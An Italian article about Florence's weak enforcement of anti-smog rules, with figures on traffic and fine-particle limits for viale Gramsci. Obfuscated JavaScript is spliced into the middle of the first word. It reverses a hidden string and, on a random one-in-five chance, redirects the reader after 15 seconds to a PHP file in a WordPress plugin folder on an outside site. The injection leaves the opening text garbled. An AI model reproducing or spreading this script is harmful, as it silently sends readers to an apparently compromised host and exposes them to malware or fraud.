In due contro l’inquinamento

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Gir (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando per le strade avrete notato le centinaia di vecchi motorini euro zero che continuano beatamente a viaggiare nonostante il divieto. Sapete quante pattuglie destina il comune di Firenze a sorvegliare su di loro e più in generale sui decreti antismog? Una pattuglia al giorno. Non ridete troppo per favore, lo stato dei vostri polmoni non ve lo permette, soprattutto se siete obbligati per lavoro o per affari vostri a spostarvi di continuo in auto o motorino da un punto all’altro della città. Ci sono delle zone sempre intasate dal traffico, come ad esempio viale Fratelli Rosselli, dove è addirittura impossibile rilevare l’inquinamento: nessuna centralina è stata installata. Invece dove le centraline esistono il disastro è assicurato. Nel viale Gramsci nei primi 40 giorni dell’anno ben 15 hanno visto sforare il limite dei 35 microgrammi per metro cubo, barriera che è proibito sorpassare più di 35 giorni l’anno.
Intanto le misure serie per bloccare il traffico privato, tipo il biglietto di accesso per il centro o lo sviluppo del servizio pubblico, sembrano già dimenticate, la panacea è solo la tranvia, pronta fra qualche anno.

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